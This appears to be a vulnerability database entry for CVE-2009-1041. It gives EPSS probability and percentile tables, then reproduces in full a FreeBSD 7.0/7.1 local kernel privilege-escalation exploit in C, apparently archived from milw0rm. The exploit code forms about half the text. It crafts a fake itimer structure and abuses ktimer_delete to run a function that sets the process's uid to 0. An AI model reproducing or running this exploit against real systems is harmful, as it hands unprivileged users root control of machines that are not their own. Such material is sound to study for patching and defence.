CVE-2009-1041 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-02-18	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.09%
2025-03-30	–	–	–	–	0.09%
2025-04-15	–	–	–	–	0.09%
2025-04-15	–	–	–	–	0.09,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	6%
2024-02-18	5%
2024-06-02	5%
2025-01-19	5%
2025-03-18	24%
2025-03-30	23%
2025-04-15	27%
2025-04-15	27%

/* bsd-ktimer.c * * Copyright (c) 2008 by <christer@signedness.org> * <mu-b@digit-labs.org> * * FreeBSD >= 7.0 local kernel root exploit * by christer/mu-b - Mon 2 June 2008 * * - Tested on: FreeBSD 7.0 * FreeBSD 7.1 * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.bsdcitizen.org/ -- BSDCITIZEN 2008!@$! */ #define _KERNEL #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/queue.h> #include <sys/signalvar.h> #include <sys/_lock.h> #include <sys/_mutex.h> #include <altq/altq.h> #include <sys/timers.h> #include <string.h> #include <unistd.h> #include <sys/param.h> #include <sys/linker.h> #include <sys/proc.h> #define ITPSIZE 0x08000000 #define LOOKUP 0xD0000000 /* some prototypes to prevent compiler bitching */ int ktimer_create(int, int, int *); int ktimer_delete(int); int kldsym(int, int, void *); static void give_me_root() { struct thread *thread; asm("movl %%fs:0,%0": "=r"(thread)); thread->td_proc->p_ucred->cr_uid=0; } int main (int argc, char **argv) { struct itimer **itp_page, *it_page; struct kld_sym_lookup ksym; void *zpage[16]; int i, r; printf ("FreeBSD local kernel root exploit\n" "by: christer/mu-b\n" "http://www.bsdcitizen.org/ -- BSDCITIZEN 2008!@$!\n\n"); itp_page = mmap (0, ITPSIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON, -1, 0); if (itp_page < 0) { fprintf (stderr, "%s: failed to mmap %d-bytes\n", argv[0], ITPSIZE); exit (EXIT_FAILURE); } printf ("* allocated pointer page: 0x%08X -> 0x%08X [%d-bytes]\n", (int) itp_page, (int) itp_page + ITPSIZE, ITPSIZE); it_page = mmap (itp_page + ITPSIZE, sizeof (struct itimer), PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON, -1, 0); if (it_page < 0) { fprintf (stderr, "%s: failed to mmap %d-bytes\n", argv[0], sizeof (struct itimer)); exit (EXIT_FAILURE); } printf ("* allocated itimer struct: 0x%08X -> 0x%08X [%d-bytes]\n", (int) it_page, (int) it_page + sizeof (struct itimer), sizeof (struct itimer)); printf ("* filling pointer page... "); fflush (stdout); for (i = 0; i < ITPSIZE / sizeof (struct itimer *); i++) itp_page[i] = it_page; printf ("done\n"); ksym.version = sizeof(ksym); ksym.symname = "posix_clocks"; if (kldsym(0,KLDSYM_LOOKUP,&ksym) < 0) { fprintf (stderr, "%s: failed to lookup posix_clocks\n", argv[0]); exit (EXIT_FAILURE); } printf("* found posix_clocks @ [0x%x]\n",(unsigned )ksym.symvalue); for (i = 0; i < 16; i++) zpage[i] = (void *) give_me_root; memset (it_page, 0, sizeof (struct itimer)); /* DIRTY REPLACE WITH EXACT STRUCTURE MEMBER */ for (i = 0; i < 10; i++) ((unsigned int *) it_page)[i] = 4; it_page->it_flags = 0x00; it_page->it_usecount = 0; it_page->it_clockid = ((int) &zpage[8] - ksym.symvalue) / 20; printf ("* it_page->it_clockid: 0x%08X [access @0x%08X]\n", it_page->it_clockid,(unsigned )&zpage[8]); printf ("* ktimer_delete (0x%08X)\n", LOOKUP); sleep (2); ktimer_create (0, 0, &i); r = ktimer_delete (LOOKUP); printf ("* ktimer_delete: %d %d\n", r, it_page->it_flags); return (EXIT_SUCCESS); } // milw0rm.com [2009-03-23]